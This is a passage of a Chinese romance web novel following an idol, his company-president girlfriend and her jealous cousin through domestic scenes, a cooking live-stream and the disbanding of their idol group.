“别站着,吃你的。”邱芜澜夹起了第二柱。 “好。”韩尘霄在她对面坐下。 他的全副注意力都在邱芜澜身上,两只碗上的蒸气模糊了邱芜澜的面容,她的表情在雾气中柔和。韩尘霄觉出了她的态度转变,这七天来的空寂,都在邱芜澜出现后被荡平。 她就坐在这里,和他对面而坐,吃着他做的食物。 这一场景,让韩尘霄恍若置身梦境。 邱芜澜吃得不多,几筷子之后,将碗推到了韩尘霄面前,“我去洗澡。别浪费了。” 韩尘霄心头发涩,看来自己做的东西还是入不了她的口。 这么想着,他又有些愣怔。 她强忍着吃了——她那么挑剔,却强忍着吃了难以下咽的食物! 她是不想他难过。 韩尘霄捧着邱芜澜吃过的面碗,心脏酸软发烫。 他大口吞吃了邱芜澜剩下的部分,将碗筷收入洗碗机,就着厨房水龙头漱口了几轮。 出门接邱芜澜前,他就洗过了澡,给房间换了新的床单被套。 他惴惴不安地等在浴室侧边,邱芜澜态度的软化让他信心鼓舞;随着时间的推移,他见不到她,又开始惶恐那份温柔是行刑前的断头饭。 也许,她是要让他离开、和他分手,才最后给点好脸色。 不、不会的!她亲口说过她原谅他了。 可她原谅他时的口吻似有疲态。 韩尘霄知道自己有多过分。 在普通情侣头三个月的热恋期,邱芜澜想带他亮相公开场合时,他醉倒在酒吧里,失联十几个小时; 这之后,他不仅没有悔过,还因懦弱被梁勤文挟持了三个月,每日浸泡在夜场酒色中,甚至答应了帮他权色交易; 她一次次原谅他,在他自毁前将他拉出泥淖,帮他解决了不少麻烦,可他居然在他们同居的第一天,为了一单几万的拍摄,让她在为自己推掉客户后,又在公司空等了两个小时。 回忆他和邱芜澜在一起这几个月,韩尘霄找不到一件自己为她做过的好事。 她厌烦他是情理之中,连他自己都找不到值得被她喜欢的理由。 浴室水声停歇,韩尘霄顿时回神。 片刻之后,门被推开,温热的湿气涌泄排出。 邱芜澜披散长发,身上系着银灰色的真丝睡袍。真丝莹莹,她末端微卷的发丝折出不亚于真丝的润光。 薄薄水汽依附在她肌肤上,携着素雅的兰草气,她活像是一株坠着露水的兰。 韩尘霄不由自主后退避让,生怕玷污了她。 “芜澜…”“唐知行下午找了我。” 两句话同时响起,韩尘霄哑然,看见邱芜澜走去吧台,倒了一杯露颂。 “他谈到你的工作态度问题,说你几天不回消息。” 邱芜澜持着酒杯转身,后腰倚着吧台,“你是怎么想的?” 韩尘霄双手握拳,“……我只是觉得,不能再本末倒置下去了。” 邱芜澜抿了口古典杯中的露颂,示意他说下去。 “芜澜,我反省了我们在一起以来的日子,我真的很抱歉……”青年语气支离破碎,陷在无序的混乱里,“因为工作,我一次次伤害了你——我不是在找借口,可能,我真的没办法平衡好工作和生活。” “我很害怕,再这样下去,我会失去你。”他哀望着她,清减了的脸愈显可怜。 邱芜澜不为所动。 “我们交往不过半年。尘霄,不管是作为公司领导,还是作为你的恋人,我都希望你清醒一点,多为自己打算。” 韩尘霄摇头,“我不是一时冲动,这半个月我想了很多。” “到今天,我才发现自己已经忘记了踏入娱乐圈的初衷。最开始,我只是希望能有个好的生活而已。” “你正在上升期,再努力五年,会有更好的生活。” “上升期”三个字狠狠刺激到了韩尘霄,他的语气骤然尖利,带着嘲弄,“更大的房子、更好的车、更多的三文鱼和牛肉?芜澜,这不是更好的‘生活’。” 邱芜澜微顿。这一时刻,她从韩尘霄身上窥见了当年华君润的身影。 曾几何时,同样年纪的华君润也是这幅表情语气,和她争吵不休。 每一次他单方面的发泄,都让邱芜澜觉得活泼可爱。 她喜欢在他气得像小狗甩头打响鼻时做一些亲密接触,起先华君润会错愕地睁大眼睛,手足无措的羞涩起来;后来他推拒她,要求和她认真对谈。 他一本正经和她聊那些废话的样子,让邱芜澜愈发喜爱。 直到最后一次,他告诉她,那不是情趣,他已忍无可忍,要和她分手。 现在的华君润已没有了那份可爱,而韩尘霄也没有华君润当年的清傲,他的成长环境更加艰辛更加残酷,也就比华君润更认清得现实。 正因如此,当他说出华君润那些不谙世事的话语时,邱芜澜有些意外。 她原以为韩尘霄对她的喜爱是由权势主导的,现在看来,他远比自己想得更加单纯。 “我不能评判你想法的对错,”邱芜澜将古典玻璃杯搁去身旁,“但我希望你慎重冷静。” “我很冷静。”韩尘霄扯了扯嘴角,“被繁忙的工作、颠倒的作息裹挟的我,才是不冷静的。” “别这么匆忙下决定,给自己和我们一个试用期。”邱芜澜再次建议,“我可以去和唐知行协调,把你的工作减少一些。” 她接二连三的拒绝,让韩尘霄一怔,陡然意识到邱芜澜的身份。 “芜澜,你希望我再上一个台阶么?”他问。 在是他女朋友之前,邱芜澜先是他的老板。 他在她面前说这样的话,没有任何一个老板听了会高兴。 韩尘霄急忙改口,“我只是、只是觉得太对不起你了,如果你希望我用心工作的话,我也会更加努力。” “不。”邱芜澜朝他走去。 她触上他布满焦虑的脸,拇指划过颧骨,“别这么仓促,我说了,希望你慎重。” 韩尘霄迫切地覆上她的手,“你喜欢什么样子,我都可以努力去做。” 他丝毫没有把她的话听进去,邱芜澜并不恼火,反而觉得韩尘霄愈顺眼了些。 “再过一阵子吧,”她按在他的眼尾上,“我会宣布RNI解散,这样你就不必被组合捆绑,能有更多的休息时间。” “我…” “我不想你后悔。”邱芜澜打断了他的话,“我确实需要一个能体贴我的恋人,但我不希望你是为我而牺牲的事业。” “宝贝,再等等吧,如果真如你所说,娱乐圈的工作让你筋疲力尽,我会很乐意有一个每天在家里为我洗手作羹汤的爱人。” “像是在C国时一样,”邱芜澜靠近了他,搭着他的胸膛,呢喃细语,“一想到你在家里等着我、只要回家就能看见你,我就抑制不住地开心。” 她微凉的指腹压在眼尾,令韩尘霄无端感到涨热。 “尘霄,我没办法像其他妻子那样围着丈夫转。父亲老了,我会越来越忙,我只能选择一个能帮我打理家庭、全天候陪伴我的伴侣。” “我可以!”韩尘霄激动地表态,“芜澜,我也怀念在C国的日子。” “这不是件简单的事,”邱芜澜抽手,“我不能草率地斩断你的前途。所以,再等等吧。我告诉你这些,只是为了让你别有负担,不论你如何选择,我都会无条件地支持你。” 韩尘霄疾声问:“如果我选择继续当偶像,那我们……” 邱芜澜没有回答。 她沉默片刻,才道,“感情和家庭都需要花力气维护,我腾不出时间,需要一个能全心照顾我的男人。” 韩尘霄眸色黯淡了下去。 这回答一如他所猜想的那样。 邱芜澜不可能找一个明星做伴侣,她太忙了,如果恋人还是个大明星,那双方之间能有多少时间相处? 她不会要一个聚少离多的恋人。 即便如此,她也没有动用自己的权势,强行逼迫他留下,而是一个劲地劝他以事业为重。 芜澜…… 她怎么能如此强大又如此温柔,完美得没有一丝缺陷。 “好,”韩尘霄冲她扬起笑来,“那就按你说的,我会再考虑一段时间。” 他故作释然的笑容里有挥之不去的讨好。 邱芜澜满意这样的表情,这说明韩尘霄已正确理解了他们之间的地位关系。 “我给你买了礼物。”她轻吻他的唇角,“去试试。” 顺着她的目光,韩尘霄看见了被自己放在茶几上的袋子。 他太想念邱芜澜了,也太焦虑了,回来的时候只顾着揣摩她的表情,没注意看袋子里是什么东西。 此时熟悉的logo映入眼帘,他微微一滞,旋即涌起了高涨的欣喜。 全部都是男装。 她真的原谅了他! 她今天晚归了一个多小时,原来是去给他买礼物了,还好他安静等着,没有发消息催促。 他当着邱芜澜的面拿出了袋子里的衣服。 一共四件,全部都是紧身的款式。 他面色发红,湿漉漉地睨望邱芜澜。 邱芜澜拿起了未喝完的露颂,“试试大小合不合适。” “我去换一下。”韩尘霄抱着衣服准备去房间换上,转身之际,听见一声微疑的鼻音。 “嗯?”邱芜澜略带疑惑地发出轻柔的问句。 这不含任何意味的语气词,让韩尘霄定住了。 缓了一会儿,他侧过身,当着邱芜澜的面,在客厅里脱去上衣。 背对着邱芜澜,裸.露出来的皮肤莫名灼热发痒,韩尘霄蜷缩起轻颤的指尖,随手拿起了一件套去身上。 穿上之后,他才发现这是一条黑色紧身背心。 布料轻薄,比他正常穿的尺码要小一号,弹性的布料勾勒出胸口突起的弧度。 韩尘霄扯了扯下摆,磕磕绊绊地回答,“你喜欢么。” 他羞赧地去看邱芜澜,却在抬眸的瞬间,对上了邱芜澜眼中一闪而过的嫌恶。 她很快收敛了表情,露出礼貌性的淡笑。 “嗯,还可以。”她偏头打量他,“就是你最近瘦了,都不太合身了。” 韩尘霄一怔,脸上的红意褪了干净。 他骤然发觉,回国这些日子,自己一味沉湎在消极的情绪中,没有锻炼过一次,也没有补充过蛋白质。 在邱芜澜的目光下,他不自在地收拢双臂,难堪地试图遮掩身体。 穿上时还觉得小了一号的背心,此刻忽地宽松肥大。 衣服当然不会变大,变的是他,他的身材变得干瘪丑陋了。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 60-70 第61章 第六十一章 邱芜澜留在了公寓, 和韩尘霄分房而睡。 她什么也没说,可她看见韩尘霄身材时的眼神刺进了韩尘霄心里,他对着房中的镜子反复审视自己的身体。 漂亮的身材需要消耗大量时间精力以及金钱。 或是后期美化, 或是使用药物,男演员们至少要在拍摄前进行脱水, 才能有个肌肉轮廓。 韩尘霄的体脂率常年维持在13%-14%,这是极其严苛的数字, 职业健美选手非赛季也不过12%左右。 这样低的体脂率,一旦没有足够肌肉做支撑,便会十分干瘦。 丑。 韩尘霄从镜子前逃离, 他蒙在被子里, 紧紧捂住那难看的身体, 一边拿出手机, 联系了自己的教练。 他要立刻恢复流失的肌肉。 韩尘霄甚至想到了用药, 但杨木的例子摆在眼前, 他不想陷入身材焦虑的旋涡, 何况他很清楚药物的副作用——他会长出女人一样的脂肪胸、会损坏肝脏、全身布满痤疮,更关键的是,药物会影响性功能。 芜澜的性需求很高, 他不能冒险。 韩尘霄打消了用药的想法, 安排教练制定了最大限度的训练。 他告诉自己要恢复作息、保证睡眠, 可越是这么想就越是难以入睡。 闭上眼后,他脑中全是邱芜澜嫌恶的神情。 邱芜澜每一任男友都是男星, 她看惯了优越的身材, 乍一眼看见他现在的样子,难免觉得恶心。 韩尘霄辗转一夜,在听见隔壁传来响动后立刻起床洗漱。 “芜澜, 你醒了?”他推门正遇上出门的邱芜澜,“我去给你做早餐,你想吃点什么?” “都可以。”邱芜澜整理着衣领,略微瞟过他一眼后,进了浴室。 韩尘霄抿唇,原地站了一会儿,去了厨房准备早餐。 他做了蓝莓松饼。邱芜澜很少对某种食物表现出明显偏好,韩尘霄发现她随身带着糖,由此推测她偏好甜食一些。 将早餐端上桌时,邱芜澜已经在桌前翻看资讯了。 四寸的松饼,她切下两口,看了眼时间,便从座位上起身。 “我先走了。” 韩尘霄焦急,“芜澜,你吃得太少了。” “今天有晨会,你替我吃了吧。”邱芜澜俯身,摩挲过他青黑的下眼睑,“再睡一会儿,今天回公司销假,好么。” “好。”韩尘霄讷讷地送她出门。 电梯打开,邱芜澜顿足返身,“差点忘了。” “落下什么了吗?”韩尘霄问。 她折返回来,在他侧面落下一吻。 韩尘霄蓦地睁大双眸,呆在原地。 他傻傻地看着邱芜澜同他挥手告别,漂亮的唇齿间似乎残留了一点蓝莓果酱的香甜。 韩尘霄捂着被吻的侧脸,失眠整晚的焦虑都被甜得化开。 他想起邱芜澜吃完后看时间的动作,一边懊恼自己没有早点起来,浪费了她的时间,一边又为她的耐心等待感到喜悦。 她急着出门,却为了他特意留下来吃了早餐。 蓝莓果酱的气味愈发甜蜜,韩尘霄盘算着明天要再早一点起来。 不,不用等明天。 他要马上去公司,现在过去,还能赶在晨会前为邱芜澜泡一杯茶。 …… 六点,邱芜澜提前了三个小时上班。 即便是邱芜澜,也不会在这么早进入公司,今天实属意外。 然而,这个时间点,在她进入办公室前,空调和灯竟都已打开。 邱芜澜听见了响动,过了会儿,看见一身篮球衣的季尧从自己办公室的休息间走出。 墨绿的球衣套在季尧身上,显出这个年纪的青春活力,宽松的尺寸又带着点慵懒。 他有些惊讶,“姐姐怎么这么早。” “我也没有料到今天会这么早。” 邱芜澜放下包,走去季尧身前,抬起他的面颊仔细端详。 确认昨天自己不在时季尧也没有熬夜,邱芜澜眉眼舒展,从口袋里取出了一颗糖。 季尧弯眸,对着邱芜澜张嘴。 邱芜澜撕开包装,将糖推进季尧口中,“正好,一起下去。” 她进了季尧刚待过的休息室,换上速干衣,和季尧去健身房。 按照公司分级,季尧无法使用高管们的健身区,他通常在艺人层健身,今天蹭了邱芜澜的卡。 两人相互辅助着做完了晨练,距离上班还有半小时,邱芜澜披着干毛巾和季尧回到了26层。 员工陆续到岗,邱芜澜回应着路上遇到的员工,朝自己办公室走去。 季尧揪着身上的毛巾歪头擦汗,忽然,他余光后移,开口问:“姐姐吃过早餐了么。” “没有。”邱芜澜回答得很快,语气夹杂一丝不起眼的抱怨,“好饿。” “尘霄哥没有给姐姐做早饭么?” 邱芜澜微微绷着脸,想起一大早上看见的枫糖浆松饼,喉舌有些反酸。 她什么也没说,可表情让季尧笑了出声。 “我以为姐姐吃过了,就没有准备。早市还没收摊,我去买点肉和虾,回来做小馄饨好么。” 他看见邱芜澜的喉咙吞咽了下,她用平淡的口吻说,“我能吃很多。” “十五只?” “十八。” 季尧惊呼,“尘霄哥就这么虐待姐姐?” 邱芜澜横了他一眼。 季尧回以无辜的笑脸。 透过这烂漫的笑,邱芜澜瞥见了季尧身后的青年。 他刚从电梯出来,定在不远处的走廊上,垂着眉眼。 邱芜澜收回视线,办公室已在眼前,她在进门前轻轻嗯了一声,不厌其烦地又一次安抚:“他当然不能和你比。” 季尧身形一顿,脸上的笑容顷刻间盛大绚烂。 邱芜澜只是为了让季尧安心,但这份笑容着实耀眼,看得她心情都明朗起来。 办公室门合拢,她牵起毛巾盖去季尧头上,对着他的脑袋一阵揉搓。 “回你自己的休息室洗,不要感冒。” “那谁给姐姐吹头发?”季尧低下头,方便邱芜澜动作。 “我还有手。”邱芜澜松开毛巾,露出被她蹂躏得乱七八糟的头。 她若无其事地又搓了两下。 可爱,像掉进泥潭的小狗。 “快去,”她催促,“我饿了。” 季尧应了,顶着乱七八糟的头发在公司穿行。 回RNI休息室的路上,他没有碰见韩尘霄,前台接待见了他,低呼道,“季尧,你的头怎么了。” “没什么。”季尧刷卡过闸,“对了,看见尘霄哥了么。” “没有,我都好几天没看见他了。” “这样啊。” 对话本该到这里结束,接待念及那次yummi来时季尧对自己的维护,又笑着补了一句,“需要我看见他后通知你么。” “没关系。”季尧弯眸,冲她摆手,“我总能见到他的。” 这笑晃了接待的眼,季尧没什么才华,可那张脸实在好看,哪怕顶着这样凌乱毛糙的发型,也一样华美璀璨。 他冲了澡,看了眼时间,直接戴着蒸发帽出门。 这种不顾别人死活的装扮把前台接待吓了一跳。 “季尧……你要去哪?” “菜市场。” 接待张了张嘴,觉得作为艺人区的员工,自己有必要阻拦他,可季尧的步态过于随性,让她不由得怀疑自己: 或许和人字拖一样,蒸发帽也是一种颇具松弛感的时兴装饰,是她不懂潮流。 季尧赶着早市,也就没有看见,在综合休息区坐着的韩尘霄。 韩尘霄没有去艺人休息区,他猜测季尧会回休息室,一种古怪的心理驱使他不想和季尧碰面。 接了杯温水,他沉默地用水将口中的蓝莓味一点点洗去。 她匆匆出门,告诉自己有晨会,却是来公司和季尧健身、吃季尧做的饭。 他做饭是没有季尧好,可公寓里明明有健身器材。 为什么要骗他…… 韩尘霄望着杯中的倒影,整宿失眠,使他脸色极其难看。 穿着篮球服的季尧活力四射,宛如一束灿烂的阳光,哪怕是季尧的黑粉,都不能否定他的长相。 看看自己如今的模样,阴沉憔悴,活像副骷髅骨架,任谁看了都会选择季尧。 韩尘霄兀地嗤笑。 他真是什么都做不好。 “尘霄?” 韩尘霄听见有人在叫他,他自杯上抬眸,对上了站在零食篮前的华君润。 华君润挑了个面包,朝他走来,“好久不见,你终于回公司了。” 他周遭的气度清贵温和,五官不比现在的偶像精致,像是一幅浓淡适宜的水墨画。 这份气质,让韩尘霄每每见了都自惭形秽。 “华老师。”他冲他点头问好,“您怎么在这儿?” “我那层的东西被拿光了,”华君润冲他扬扬手中的面包,“来借一个。” 说罢,他关心道,“是生病了么?看你脸色不太好。” “没什么。”韩尘霄勉强笑笑,“昨天没睡好。” “你们RNI最近可不太平呀,”华君润打趣,“之前是季尧没睡好,现在轮到你了,唐知行是怎么回事,这么压榨艺人?” 季尧没睡好? 韩尘霄疑惑道,“季尧也没睡好?” “是啊,他倒是正常。”华君润在他旁边坐下,“介意吗?” 韩尘霄摇头。 华君润撕开包装,应付这顿早餐,一边和他闲聊,“季尧很黏姐姐,每次邱总出差,他都休息不好——嗯?你是队长,应该知道啊,邱总一出差,他就经常性请假。” 季尧请假太过频繁,韩尘霄此前从没有留意过,如今回想,确如华君润所说,他会在邱芜澜出差时达到请假高峰。 回想今天早上季尧和邱芜澜的对话,韩尘霄隐隐有点不舒服。 “邱特助似乎都没有那么粘邱总,季尧是不是……” “是不是太近了?”华君润说出了他的未尽之语,笑道,“确实,别说表弟了,我都没见过哪个亲弟弟这么缠着姐姐。” “为什么……邱总这么宠他?”韩尘霄不明白,“她对亲弟弟也没有这样。” “季尧比较会撒娇吧。”华君润意味深长道,“你也知道他不是邱家的核心成员,如果没有邱总,他的处境会天差地别。” 韩尘霄皱眉:“他难道要一直这样?” 华君润将吃完的包装扔进垃圾桶,“邱总安排季尧进组,我猜,她是想换个赛道,看看季尧在影视方面有没有潜力。用心良苦啊——” 韩尘霄眸光微闪。 “好了,我得回去了。”华君润起身,冲韩尘霄低声说,“这话咱们私下里说说就好,邱总不喜欢被人背后议论家事。听说她的一个前任,就是因为私下打听了邱家的事,才被邱总分手的。” “啊,是。”韩尘霄从沉思中回神,感激颔首,“我知道的,谢谢您告诉我这些。” 华君润微笑。 他迈步离去,余光睨过韩尘霄紧绷的脸,笑意消散,化作冷漠。 第62章 第六十二章 销了假、和唐知行道歉解释后, 韩尘霄离开了公司。 不知为何,这间已经待了三年的公司让韩尘霄有些喘不过气来。 他穿着外套,把干瘪的身体藏在衣下。公司里每一道落在他身上的视线, 都让韩尘霄觉得难堪。 他似乎听见了有人在议论他,说他旷工、说他勾搭邱芜澜、说他变丑了。 窃窃的私语密密匝匝围绕耳畔, 令他一刻都不想在公司多待。 出了大门,对着高挂天空的太阳, 韩尘霄茫然了一瞬。 太久没有过这样大把空闲的时间,他一时失了方向,不知道自己要做些什么。 过了一会儿, 他才想起自己的目的, 去了常去的健身房。 高强度运动三个小时后, 韩尘霄径直回了家。 待在充满邱芜澜气息的公寓里, 他终于是活了过来, 远离了那些闲言碎语的纷扰。 这套房子虽然漂亮, 却也没有一点生活气息。 韩尘霄订了两束花, 装饰了客厅;将自己和邱芜澜昨天换下的衣服洗晒,挂去阳台;又买了饮料水果,填满了冰箱。 空荡房子在他的手下洋溢起家的气氛, 这种安心踏实的感觉让韩尘霄心里的阴郁一扫而空。 他在厨房备着菜, 等邱芜澜回来。 一想到以后自己每天都能看见她、再不用陷入数据的焦虑里, 韩尘霄便异常愉悦,不由自主地轻声哼唱起来。 回归家庭, 这是一眼看得到头的日子, 可当被支配感足够稳固、足够具体,就能产生足够的幸福。 将要处理的菜备齐,距离邱芜澜下班还有一段时间。 韩尘霄打量着四周还有什么能做的事, 在巡视这套自己和邱芜澜的家的途中,猛地滋生出一股贪婪的念头。 …… “唐哥,你给安排的直播吗?”罗浩炆从椅背上仰身,望向后方的唐知行,“我今天也闲着啊,干嘛不叫我一起。” “什么直播?” “喏。”罗浩炆举起手机,韩尘霄的账号正在直播。 和以往的风格不同,摄像头被架在侧面,照出韩尘霄的上半身。 他正在厨房直播,弹幕刷满了惊艳。 “天呐,我们霄霄是什么宝藏男神啊,居然还会做饭!” “哥哥手好好看prprpr” “这做的是什么” “好感动,昨天说想喝山药汤,尘霄老公今天就给我做了” 韩尘霄将切好的配菜装入砂锅,盖上盖后,才有空看一眼弹幕。 他清矍的五官舒展开来,嗓音前所未有的温柔,带着点青涩的腼腆,“刚学不久,大家多包涵。” “啊啊啊哥哥笑起来好米!” “冲着这张脸,你煮屎我都爱喝!” “怎么突然直播做饭了?” “不会是恋爱了吧” 看见后面几条弹幕,韩尘霄唇畔的弧度深了两分。 手机拍摄到的画面有限,开播到现在还没有人发现这间厨房的秘密,他也没想这么早爆出来。 这种秘而不宣的炫耀,让韩尘霄产生出一种独享幸福的窃喜。 他恍然明白了,为什么有些朋友的素人女友喜欢藏在粉丝群里窥屏。 “我也没想到自己有一天会直播做饭,”他笑着,“最近有了很合拍的吃饭搭子,以后应该会经常直播。大家有什么好的菜谱可以推荐给我。” 关注人开直播的消息提醒弹在了手机顶端,这是季尧最近难得的游戏时间,邱芜澜每天只给了他三小时的娱乐。 季尧手指一错,从游戏界面误点进了直播提醒。 熟悉的人和更熟悉的厨房毫无征兆地撞入眼帘。 暖洋洋的夕阳将厨房涂抹得温馨舒适,青年身后的灶台上,砂锅翻滚着小小的咕嘟声。 他脸上的幸福溢于言表,只是一眼,就让季尧肠胃翻滚。 他一眼认出了这间厨房,闭上眼都知道每一把刀、每一瓶调料放在哪儿。 这一时刻,季尧深深理解了邱泽然邱泽安对他的愤怒。 鸠占鹊巢的杜鹃。 韩尘霄比他更加愚蠢残忍,他尚且还有身为杜鹃的自知之明,可韩尘霄竟敢踩着姐姐满足一己私欲。 《去你家做客吧》仔细拍摄过这套公寓的厨房,一旦有心人发现了韩尘霄直播间的背景,会给公司、给姐姐惹多大的麻烦——他不是不知道,他是清楚地知道后果,才会企图利用舆论,逼迫邱芜澜和他公开。 直播画面中,用着他亲手选购的厨具的青年散发着恬淡的幸福,这份幸福入荆棘死死勒住了季尧的喉咙。 毒刺深入皮肉,点起一串串灼热的麻痒感,又热又痒,令他止不住的咳嗽。 窒息的烧灼下,季尧无法无动于衷,必须自救。 他动了动手指,编辑了几行字,点击发送。 直播中的韩尘霄手机响起消息提示音。 他对团内成员设置了提醒,避免错过工作消息。 “不好意思,回个消息。”他对着镜头礼貌致意,拿起手机查看。 看见内容,韩尘霄脸色蓦地冷了下来。 季尧:尘霄哥,我看见你直播了,你在给姐姐准备晚饭吗 :这可怎么办,我们都吃过了 这两句之后,是一张四菜一汤的照片,照片底部露出一双执着筷子的纤手。 韩尘霄一眼认出,那是邱芜澜的手。 季尧发出照片后很快撤回,像是觉得发照片有炫耀的嫌疑,未免不妥。 他改发来一段文字:你做饭应该告诉我一声呀。姐姐不吃隔夜菜,你做的那些就自己吃掉吧。 看似正常的家常话,却让韩尘霄说不出的不舒服。 现在不过六点,刚刚下班的时间,芜澜怎么会这么早吃饭;她提前吃了饭,为什么没有告诉他一声…… 他想问一问邱芜澜是不是真的吃过了,可刚开播不久,不方便离开,更不方便用如同质问的语气去和她对话。 “呼。” 看着画面中压抑怒意的韩尘霄,缠绕在咽喉间的藤蔓悄然断落,季尧重获呼吸,每一口空气都清甜甘美。 他听见短跟鞋的声响,一抬头,对上开会回来的邱芜澜。 “姐姐,”他甜腻地弯眸,“工作结束了吗?” 邱芜澜不明所以他为什么突然这么高兴,“差不多。” “辛苦了姐姐。”季尧起身,蹭去邱芜澜身边,“我们去吃肉吧。” “嗯?”邱芜澜疑惑。 “去嘛,”季尧磨蹭着她,“吃了那么久难吃的营养餐,我今天特别想吃肉。” “我今天得回公寓。”邱芜澜说着,在季尧恳求的目光下,软了话锋,“一小时内解决。” 邱芜澜眼中,那些营养餐确实难以下咽,她答应了季尧的请求,拿出手机和韩尘霄发了一句:临时应酬,晚上不回来吃饭了,八点前到家。 季尧看着她编辑消息,笑吟吟道,“我第一次看见姐姐和男朋友报备行程,尘霄哥真幸福。” “他毕竟特殊一点。”邱芜澜也不等韩尘霄回复,将手机放入包里,“走吧,吃肉。” “吃肉!”季尧发自内心的快乐。 从公司到餐厅,不过十五分钟车程,下车之前,季尧调出直播界面看了一眼。 直播已经结束,整个界面灰白一片,徒留来晚的粉丝在发弹幕。 “怎么这么快就结束了!” “播了啥!” “呜呜呜我来晚了吗?” “结束得太快了吧,才播了二十几分钟!” 季尧勾唇。 希望收到姐姐消息后,韩尘霄能解决掉他做的那锅垃圾,别拿去姐姐面前,让她恶心。 邱芜澜并不知道自己开会这段时间,两人发生了一场暗地里的较量。 她陪季尧吃了烤肉,尽早回了公寓。 电梯刚刚抵达楼层,大门就被打开了。 颀长的青年穿着宽松的家居服站在门口,神情晦涩,对着邱芜澜浅浅微笑,“应酬结束了?” “嗯。”邱芜澜瞥了他一眼,从韩尘霄的眉宇间看出了点情绪。 他在不高兴。 她有点无奈,更有点纳闷,和她在一起,韩尘霄怎么连她会临时应酬加班的觉悟都没有。 前段时间冷了他,邱芜澜不打算对他太过严格。 她放下手包,吻了吻他的唇,“我回来晚了?” 韩尘霄不是滋味地摇头,“不,没有。我只是有点担心你被人灌酒。” 邱芜澜失笑,“是啊,我不擅长喝酒,再过一段时间,就要靠你帮我挡酒了。” 平常的韩尘霄听见这句话会开心,现在他只觉得心头愈发苦涩。 他试探了两次,两次邱芜澜都没有反驳。 她为什么要骗他呢。 她和季尧吃饭,完全可以大大方方告诉他,难道他还会制止她和自己的表弟吃饭? 可既然是和表弟一起吃饭,为什么不能带上他? 他们之间,真的只是表姐弟么…… 纷繁复杂的情绪堵在心口,韩尘霄的表情愈发低落。 邱芜澜蹙了蹙眉,不明白自己都这样哄他了,他为什么还是不高兴。 她压着他坐在门口的换鞋凳上,双臂揽着韩尘霄的脖颈,“我不在家的时候,都做了什么?” “销假,又锻炼了一会儿,”韩尘霄忍不住第三次试探,“你呢,你今天做了什么。” 邱芜澜取出手机,拇指藏在后面滑动了一下屏幕,“我给手机换了壁纸。” 韩尘霄疑惑地看着她。 她将屏幕转给他看,“我新推的偶像,好看么。” 韩尘霄微微睁眸,看见手机的锁屏画面:穿着演出服的自己握着话筒,站在舞台的灯光下灿然而笑。 那是五年前当练习生的他,比现在更加青春盎然,笑容也更充满活力。 他羞涩地别过脸去,“你是公司老总,用这样的背景图,让合作方笑话。” “那我换掉?”邱芜澜偏头。 韩尘霄不说话了。 邱芜澜低笑,蹭他的额角,“这张是有点太小了,被人看见,误会我违法似的。可是怎么办呢,我们霄霄长大了,越来越成熟稳重,我到处都找不到笑得这么好看的照片了。” 她柔软的发丝蹭在韩尘霄脸上,这亲昵的声音洗去了韩尘霄心中的郁塞。 他圈着邱芜澜的腰,支吾着勉强回道,“哪里好看了,笑得那么蠢。” 邱芜澜抬眉:“不许你诋毁我的新推。” 韩尘霄睨了她一眼,她分明没做什么特别的事,可他心里甜软得一塌糊涂。 “我能笑得比‘他’更好看,”他说,“你要换一张壁纸么。” 邱芜澜调出相机,“好啊,比比看。哪张好看我用哪张。” 暖色的小灯下,韩尘霄眼角微挑,冲着邱芜澜露出一抹笑。 镜头采撷了他的模样,邱芜澜没有把照片拿给他看,只是跨坐在他腿上,慢吞吞地点击手机屏幕。 她迟迟没有说话,脸上看不出满意还是不满意,韩尘霄小声询问:“不好看么?” 邱芜澜没有回答,她缓缓下低头,嘴唇亲吻屏幕,双眸越过手机,深深凝望面前的韩尘霄。 炽热的血液逆冲向脸颊,在这专注的目光下,韩尘霄莫名口干舌燥,浑身滚烫。 邱芜澜抬手,将手机放去他身后的鞋柜上,倒扣着屏幕。 韩尘霄始终不知道,她到底用了哪一张。 他无暇去在乎壁纸,被邱芜澜双手搂着脖颈,吞咽下唇角情难自已的笑。 第63章 第六十三章 韩尘霄直播后的第三天, 季尧收到唐知行的消息,让他去一趟楼下。 不大的休息间里聚集了RNI所有成员,唐知行面色肃然地站在中间, 正对面坐着销假不久的韩尘霄。 “季尧来了?”他推了推眼镜,“那就开始吧。” 他打开文件夹, 抽出几份文件,分发给四人。 “RNI出道也有三年了, 你们每个人的发展方向不同,公司考虑了一下,是时候单飞了。这是变更后的合同, 你们看看。” “这么突然!”罗浩炆震惊, “昨天不都还好好的吗?” “解散后你们还是归到我这里, 后勤也还是那批人, 只是减少一些团队上的捆绑束缚而已。”唐知行道, “公司会给你们三个月的考察期, 根据各自的业绩, 调整你们的分成比。不用担心,这种调整都是上调,不会往下的。” 罗浩炆还在震惊, “为什么啊唐哥, 好好的干嘛突然解散。” “不是说过了么, 你们每个人的发展方向不同。”唐知行解释,“解散后, 我会根据你们的特长调整工作, 你的综艺类、影视类单子会增多,杨木这方面会减少,腾出时间来和尘霄专心做音乐;季尧…会更偏向公益类活动。” 韩尘霄拔开笔盖, 一句话没问,唐知行说话的时候就签了字。 季尧翻着合约,瞥过韩尘霄俯身签字时露出的锁骨和前胸。 那里一片光洁,没有任何痕迹。 韩尘霄明显瘦了,这幅为情所困的模样理当引起姐姐的疼惜。 可那天早上六点,季尧在公司见到了邱芜澜,她自己也说了一句「我也没有料到今天会这么早」 为什么? 小别重逢后,他们什么都没有做。 如果姐姐在乎他,那韩尘霄就会见过菲安; 如果姐姐不在乎他,那她就会索取他。 但韩尘霄既没有穿过菲安的监测仪衣、吃营养餐,也没有留下欢爱的痕迹。 他的状况在季尧预计之外。 季尧在乎的不是韩尘霄到底有没有和邱芜澜上床,他在意的是自己对邱芜澜的分析出现了偏差。 如果不能精准预测邱芜澜的行为、洞悉她的想法,那他对邱芜澜而言,就和普通男人没什么两样。 是例假提前? 季尧漫不经心地签下合约。 会议结束,唐知行带杨木和罗浩炆去保密室签新约,休息室里只剩季尧韩尘霄这两个特殊份子,等着晚点被唐知行特殊办理。 季尧转着签字笔,忽然对韩尘霄开口,“尘霄哥,我这里有红枣茶和红糖。” 韩尘霄愣了下,“嗯?” 他茫然了一会儿,反应过来,低声问季尧,“是你姐姐……来了吗?” 他的反应推翻了季尧的猜测。 他收敛起脸上的笑,“你还真是无趣又呆板。我是看你们最近说话比较少,才给你个和姐姐搭话的机会。啧,她在你身上花了多少钱,你怎么连哄她开心都做不到。” 韩尘霄面色一僵,沉默着没有说话。 前天晚上,邱芜澜回来后虽然在鞋凳上吻了他,可也仅仅是吻了他,没有往下深入。 她还是无法接受他干瘪削瘦的身材。 